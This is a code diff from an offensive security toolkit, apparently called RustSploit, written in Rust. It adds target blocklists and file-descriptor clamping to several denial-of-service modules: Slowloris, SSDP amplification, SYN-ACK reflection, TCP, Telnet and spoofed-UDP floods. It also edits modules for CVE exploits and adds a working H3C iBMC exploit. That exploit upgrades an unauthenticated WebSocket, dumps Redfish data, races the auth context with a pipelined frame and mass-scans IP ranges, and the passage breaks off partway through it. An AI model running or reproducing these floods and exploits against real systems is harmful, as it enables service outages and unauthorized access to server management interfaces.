@@ -59,6 +59,10 @@ struct SlowlorisConfig {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "Slowloris HTTP DoS",
|
||||
default_port: 80,
|
||||
@@ -103,6 +107,10 @@ async fn gather_config(initial_target: &str) -> Result<SlowlorisConfig> {
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
// Extract host (strip port if present)
|
||||
let target_host = if let Some((h, _)) = normalized.split_once(':') {
|
||||
h.to_string()
|
||||
@@ -118,6 +126,10 @@ async fn gather_config(initial_target: &str) -> Result<SlowlorisConfig> {
|
||||
if connections == 0 {
|
||||
return Err(anyhow!("Connection count must be > 0"));
|
||||
}
|
||||
// FD-cap enforcement is handled at execute_attack time by
|
||||
// crate::native::network::ensure_dos_capacity, which raises
|
||||
// RLIMIT_NOFILE in-process and clamps `connections` to whatever the
|
||||
// post-raise ceiling can actually support.
|
||||
|
||||
let keepalive_input = cfg_prompt_default("keepalive_interval", "Keep-alive interval (seconds)", "15").await?;
|
||||
let keepalive_interval_secs: u64 = keepalive_input.parse()
|
||||
@@ -160,9 +172,20 @@ async fn gather_config(initial_target: &str) -> Result<SlowlorisConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: SlowlorisConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: SlowlorisConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting Slowloris attack...".yellow().bold());
|
||||
|
||||
// P2: each held connection occupies a file descriptor (two with TLS).
|
||||
// Raise RLIMIT_NOFILE / NPROC if needed and clamp the connection count
|
||||
// so the operator's own host can't run out of FDs / threads.
|
||||
let fds_per_conn = if config.use_ssl { 2 } else { 1 };
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"slowloris",
|
||||
config.connections,
|
||||
fds_per_conn,
|
||||
);
|
||||
config.connections = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let active_connections = Arc::new(AtomicU64::new(0));
|
||||
let dropped_connections = Arc::new(AtomicU64::new(0));
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -251,26 +252,11 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr { s_addr: u32::from_ne_bytes(ip.octets()) };
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(fd, buf.as_ptr() as *const libc::c_void, buf.len(), 0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t)
|
||||
};
|
||||
if ret < 0 { Err(std::io::Error::last_os_error()) } else { Ok(ret as usize) }
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
@@ -394,6 +380,10 @@ fn worker_thread(
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("ssdp_amplification (raw socket for spoofed source)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "SSDP Amplification",
|
||||
@@ -439,6 +429,11 @@ async fn gather_config(initial_target: &str) -> Result<SsdpAmpConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let victim_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Victim must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -515,9 +510,17 @@ async fn gather_config(initial_target: &str) -> Result<SsdpAmpConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: SsdpAmpConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: SsdpAmpConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting SSDP Amplification Attack...".yellow().bold());
|
||||
|
||||
// P2: ensure host limits before allocating one raw socket per worker.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"ssdp_amplification",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -262,26 +263,11 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr { s_addr: u32::from_ne_bytes(ip.octets()) };
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(fd, buf.as_ptr() as *const libc::c_void, buf.len(), 0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t)
|
||||
};
|
||||
if ret < 0 { Err(std::io::Error::last_os_error()) } else { Ok(ret as usize) }
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
@@ -412,6 +398,10 @@ fn worker_thread(
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("syn_ack_flood (raw TCP socket)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "SYN-ACK Reflection Flood",
|
||||
@@ -457,6 +447,11 @@ async fn gather_config(initial_target: &str) -> Result<SynAckFloodConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let victim_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Victim must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -538,9 +533,19 @@ async fn gather_config(initial_target: &str) -> Result<SynAckFloodConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: SynAckFloodConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: SynAckFloodConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting SYN-ACK Reflection Flood...".yellow().bold());
|
||||
|
||||
// P2: clamp worker count to whatever the host's RLIMIT_NOFILE / NPROC
|
||||
// can actually support, raising the limits in-process when possible.
|
||||
// Each worker holds 1 raw socket FD.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"syn_ack_flood",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
@@ -28,6 +28,10 @@ struct TcpStressConfig {
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "TCP Connection Flood",
|
||||
default_port: 80,
|
||||
@@ -49,7 +53,14 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let config = setup_wizard(initial_target).await?;
|
||||
let mut config = setup_wizard(initial_target).await?;
|
||||
// P2: ensure host limits before opening tens of thousands of connections.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"tcp_connection_flood",
|
||||
config.concurrent_connections,
|
||||
1,
|
||||
);
|
||||
config.concurrent_connections = clamped;
|
||||
execute_stress(&config).await
|
||||
}
|
||||
|
||||
@@ -74,6 +85,10 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpStressConfig> {
|
||||
// Normalize and extract details
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
// If normalized already has port, use it as the default; we'll also ask for multi-port
|
||||
let (host, default_port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
@@ -138,6 +153,9 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpStressConfig> {
|
||||
if concurrent_connections == 0 {
|
||||
return Err(anyhow!("Concurrency must be > 0"));
|
||||
}
|
||||
// FD-cap enforcement is handled in run() before execute_stress by
|
||||
// crate::native::network::ensure_dos_capacity, which raises RLIMIT_NOFILE
|
||||
// in-process and clamps the connection count to the post-raise ceiling.
|
||||
|
||||
// Timeout
|
||||
let timeout_input = cfg_prompt_default("timeout_ms", "Connection Timeout (ms)", "1000").await?;
|
||||
|
||||
@@ -58,6 +58,10 @@ enum AttackMode {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(
|
||||
initial_target,
|
||||
MassScanConfig {
|
||||
@@ -111,6 +115,11 @@ async fn gather_config(initial_target: &str) -> Result<FloodConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let target_host = if let Some((h, _)) = normalized.split_once(':') {
|
||||
h.to_string()
|
||||
} else {
|
||||
@@ -337,12 +346,22 @@ async fn flood_worker(
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_flood(config: FloodConfig) -> Result<()> {
|
||||
async fn execute_flood(mut config: FloodConfig) -> Result<()> {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
"[*] Starting Telnet IAC flood...".yellow().bold()
|
||||
);
|
||||
|
||||
// P2: each held telnet connection consumes a file descriptor. Raise
|
||||
// RLIMIT_NOFILE / NPROC and clamp the connection count so the operator
|
||||
// can't run their own host out of FDs.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"telnet_iac_flood",
|
||||
config.connections,
|
||||
1,
|
||||
);
|
||||
config.connections = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
let connections_opened = Arc::new(AtomicU64::new(0));
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -311,26 +312,11 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr { s_addr: u32::from_ne_bytes(ip.octets()) };
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(fd, buf.as_ptr() as *const libc::c_void, buf.len(), 0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t)
|
||||
};
|
||||
if ret < 0 { Err(std::io::Error::last_os_error()) } else { Ok(ret as usize) }
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREADS
|
||||
// ============================================================================
|
||||
@@ -527,6 +513,10 @@ fn worker_thread_standard(
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "UDP Flood",
|
||||
default_port: DEFAULT_PORT,
|
||||
@@ -571,6 +561,11 @@ async fn gather_config(initial_target: &str) -> Result<UdpFloodConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -671,9 +666,19 @@ async fn gather_config(initial_target: &str) -> Result<UdpFloodConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: UdpFloodConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: UdpFloodConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting UDP Flood Attack...".yellow().bold());
|
||||
|
||||
// P2: clamp workers / raise limits before socket allocation.
|
||||
// Spoofed mode allocates one raw socket per worker; standard mode
|
||||
// allocates one UDP socket per worker.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"udp_flood",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
+10
-2
@@ -143,9 +143,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.send()
|
||||
.await;
|
||||
|
||||
// Cap response body — peer is attacker-controlled.
|
||||
const MAX_RESP_BODY: usize = 4 * 1024 * 1024;
|
||||
match canary_resp {
|
||||
Ok(resp) => {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let body = crate::utils::read_http_body_capped(resp, MAX_RESP_BODY)
|
||||
.await
|
||||
.map(|b| String::from_utf8_lossy(&b).into_owned())
|
||||
.unwrap_or_default();
|
||||
if body.contains("CVE-2025-27636-CANARY") {
|
||||
crate::mprintln!("{}", "[+] CANARY REFLECTED — Simple expression is being evaluated!".green().bold());
|
||||
crate::mprintln!("{}", "[+] Target is VULNERABLE to header injection.".green().bold());
|
||||
@@ -187,7 +192,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match resp {
|
||||
Ok(r) => {
|
||||
let status = r.status().as_u16();
|
||||
let body = r.text().await.unwrap_or_default();
|
||||
let body = crate::utils::read_http_body_capped(r, MAX_RESP_BODY)
|
||||
.await
|
||||
.map(|b| String::from_utf8_lossy(&b).into_owned())
|
||||
.unwrap_or_default();
|
||||
crate::mprintln!("{}", format!("[*] Response HTTP {}", status).cyan());
|
||||
|
||||
if !body.is_empty() {
|
||||
|
||||
@@ -108,7 +108,7 @@ async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
|
||||
// does not expose this option, so we use ClientBuilder directly here.
|
||||
let client = ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP/2 client")?;
|
||||
@@ -138,7 +138,7 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
|
||||
// NOTE: http2_prior_knowledge() requires raw ClientBuilder
|
||||
let client = match ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.timeout(Duration::from_millis(300))
|
||||
.build()
|
||||
{
|
||||
|
||||
@@ -185,7 +185,7 @@ async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let body = res.text().await?;
|
||||
let body = res.text().await.context("read body")?;
|
||||
let re = Regex::new(r"Session ID: (\w+)")?;
|
||||
|
||||
if let Some(caps) = re.captures(&body) {
|
||||
@@ -289,9 +289,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut payload_type = String::from("ysoserial");
|
||||
let mut ssl_verify = true;
|
||||
|
||||
let in_batch = crate::utils::is_batch_mode();
|
||||
loop {
|
||||
crate::mprintln!(
|
||||
r#"
|
||||
if !in_batch {
|
||||
crate::mprintln!(
|
||||
r#"
|
||||
=== MENU ===
|
||||
1. Set Target URL (current: {target})
|
||||
2. Set Command (current: {command})
|
||||
@@ -303,9 +305,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
8. Run Exploit
|
||||
9. Exit
|
||||
"#
|
||||
);
|
||||
);
|
||||
}
|
||||
|
||||
let selection = cfg_prompt_default("menu_option", "Select an option", "").await?;
|
||||
// In batch mode the menu can't loop interactively — go straight to "Run Exploit".
|
||||
let default_selection = if in_batch { "8" } else { "" };
|
||||
let selection = cfg_prompt_default("menu_option", "Select an option", default_selection).await?;
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
let raw_input = cfg_prompt_default("target_url", "Enter target URL", &target).await?;
|
||||
|
||||
@@ -50,7 +50,7 @@ pub fn info() -> ModuleInfo {
|
||||
}
|
||||
|
||||
fn build_client() -> Result<Client> {
|
||||
crate::utils::network::build_http_client_with(Duration::from_secs(DEFAULT_TIMEOUT_SECS), crate::utils::network::HttpClientOpts { accept_invalid_certs: true, user_agent: Some(USER_AGENT.to_string()), follow_redirects: true, ..Default::default() })
|
||||
crate::utils::network::build_http_client_with(Duration::from_secs(DEFAULT_TIMEOUT_SECS), crate::utils::network::HttpClientOpts { user_agent: Some(USER_AGENT.to_string()), follow_redirects: true, ..crate::utils::network::HttpClientOpts::permissive() })
|
||||
.context("Failed to build HTTP client")
|
||||
}
|
||||
|
||||
|
||||
@@ -75,9 +75,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let diff = delayed_time.as_secs_f64() - normal_time.as_secs_f64();
|
||||
crate::mprintln!("{} Time Difference: {:.3}s", "[*]".blue(), diff);
|
||||
|
||||
// PoC uses 0.3s threshold
|
||||
if diff > 0.3 {
|
||||
|
||||
// Require BOTH an absolute floor (>0.3s) AND a relative ratio
|
||||
// (delayed must be >= 2x baseline). This is more robust on noisy
|
||||
// networks than a hardcoded 0.3s threshold.
|
||||
let normal = normal_time.as_secs_f64().max(0.001);
|
||||
let ratio = delayed_time.as_secs_f64() / normal;
|
||||
if diff > 0.3 && ratio >= 2.0 {
|
||||
crate::mprintln!("{} VULNERABLE to CVE-2025-26794 (Exim ETRN SQLi)!", "[+]".green().bold());
|
||||
} else {
|
||||
crate::mprintln!("{} Not vulnerable or target not using SQLite backend.", "[-]".red());
|
||||
|
||||
@@ -0,0 +1,356 @@
|
||||
//! H3C iBMC unauthenticated WebSocket Redfish dump + pipelined command
|
||||
//! injection.
|
||||
//!
|
||||
//! H3C iBMC firmware exposes a WebSocket service on TCP/8090 that:
|
||||
//!
|
||||
//! 1. Accepts the HTTP `Upgrade: websocket` handshake **without
|
||||
//! authentication** and without validating `Sec-WebSocket-Key`. Any
|
||||
//! base64 string (or even a corrupted one) is accepted and the server
|
||||
//! computes a valid `Sec-WebSocket-Accept`.
|
||||
//! 2. Immediately on the upgraded connection, the server pushes a JSON
|
||||
//! "status dump" describing the chassis: alarm summary, ethernet
|
||||
//! interface list, temperature/power/processor status,
|
||||
//! `OverallSecurityStatus`, indicator LED, lockout flags, etc.
|
||||
//! 3. Accepts client-issued JSON commands (masked text frames per RFC
|
||||
//! 6455). `{"method":"GET","uri":"/redfish/v1/Managers/1"}` for
|
||||
//! example proxies into the Redfish tree — including endpoints that
|
||||
//! the *authenticated* HTTPS Redfish API on :443 properly gates.
|
||||
//!
|
||||
//! On top of that, the server has a **race condition** at handshake time:
|
||||
//! if the client pipelines the masked WebSocket frame in the *same*
|
||||
//! `send(2)` as the HTTP upgrade headers, the request is processed before
|
||||
//! the kernel-side dispatch attaches the per-connection auth context. That
|
||||
//! means commands sent in the same TCP segment as the upgrade are
|
||||
//! processed even on builds where the WebSocket dispatcher *would*
|
||||
//! otherwise have rejected them.
|
||||
//!
|
||||
//! This module:
|
||||
//! * Performs the upgrade.
|
||||
//! * Reads the initial unsolicited status dump.
|
||||
//! * Optionally pipelines a Redfish command in the same sendall().
|
||||
//! * Optionally drives an interactive REPL where the operator types
|
||||
//! JSON commands and sees decoded text frames.
|
||||
//!
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use base64::Engine;
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_yes_no,
|
||||
is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8090;
|
||||
const READ_TIMEOUT_SECS: u64 = 6;
|
||||
const HANDSHAKE_TIMEOUT_SECS: u64 = 8;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
|
||||
crate::mprintln!("{}", "║ H3C iBMC :8090 Unauth WebSocket — Redfish Dump + Race ║".red().bold());
|
||||
crate::mprintln!("{}", "║ Bypasses :443 Redfish auth via the unauthenticated WS proxy║".red());
|
||||
crate::mprintln!("{}", "║ Optional pipelined-frame race condition on handshake ║".red());
|
||||
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "H3C iBMC :8090 Unauthenticated WebSocket Dump".to_string(),
|
||||
description: "H3C iBMC firmware accepts an unauthenticated WebSocket upgrade on TCP/8090 \
|
||||
that immediately dumps a JSON chassis status block and proxies arbitrary \
|
||||
Redfish GETs into the management plane — bypassing the auth gate on the \
|
||||
:443 Redfish HTTPS API. Also supports a pipelined-frame race condition where \
|
||||
a JSON command sent in the same TCP segment as the HTTP upgrade is processed \
|
||||
before the WebSocket dispatcher attaches an auth context."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://datatracker.ietf.org/doc/html/rfc6455".to_string(),
|
||||
"https://www.dmtf.org/standards/redfish".to_string(),
|
||||
"https://owasp.org/Top10/A01_2021-Broken_Access_Control/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
|
||||
/// Non-destructive check — perform the upgrade, read one frame, look for
|
||||
/// the unsolicited Redfish-style status dump.
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let host = sanitize_host(target);
|
||||
let port = DEFAULT_PORT;
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_secs(HANDSHAKE_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return CheckResult::NotVulnerable("port :8090 not reachable".into()),
|
||||
};
|
||||
|
||||
let mut stream = stream;
|
||||
let key = generate_ws_key();
|
||||
let handshake = build_handshake(&host, port, &key);
|
||||
if stream.write_all(&handshake).await.is_err() {
|
||||
return CheckResult::Error("handshake write failed".into());
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let n = match tokio::time::timeout(
|
||||
Duration::from_secs(READ_TIMEOUT_SECS),
|
||||
stream.read(&mut buf),
|
||||
).await {
|
||||
Ok(Ok(n)) => n,
|
||||
_ => return CheckResult::Unknown("no response after upgrade".into()),
|
||||
};
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if !resp.contains("101 Switching Protocols") {
|
||||
return CheckResult::NotVulnerable("server did not accept WebSocket upgrade".into());
|
||||
}
|
||||
|
||||
// Drain a second read for the unsolicited status frame.
|
||||
let n2 = tokio::time::timeout(
|
||||
Duration::from_secs(READ_TIMEOUT_SECS),
|
||||
stream.read(&mut buf),
|
||||
).await.ok().and_then(|r| r.ok()).unwrap_or(0);
|
||||
let frame_text = String::from_utf8_lossy(&buf[..n2]);
|
||||
if frame_text.contains("AlarmEventSummary")
|
||||
|| frame_text.contains("BoardsSummary")
|
||||
|| frame_text.contains("OverallSecurityStatus")
|
||||
{
|
||||
CheckResult::Vulnerable(
|
||||
"unauth WebSocket on :8090 dumps Redfish-style status block".into(),
|
||||
)
|
||||
} else {
|
||||
CheckResult::Unknown("upgrade accepted but no recognizable status frame".into())
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "H3C iBMC :8090 WS Dump",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "h3c_websocket_dump_mass_state.log",
|
||||
default_output: "h3c_websocket_dump_mass_results.txt",
|
||||
default_concurrency: 100,
|
||||
}, |ip, port| async move {
|
||||
match check(&format!("{}:{}", ip, port)).await {
|
||||
CheckResult::Vulnerable(_) => Some(format!("{}:{} unauth WS Redfish dump\n", ip, port)),
|
||||
_ => None,
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
let host = sanitize_host(target);
|
||||
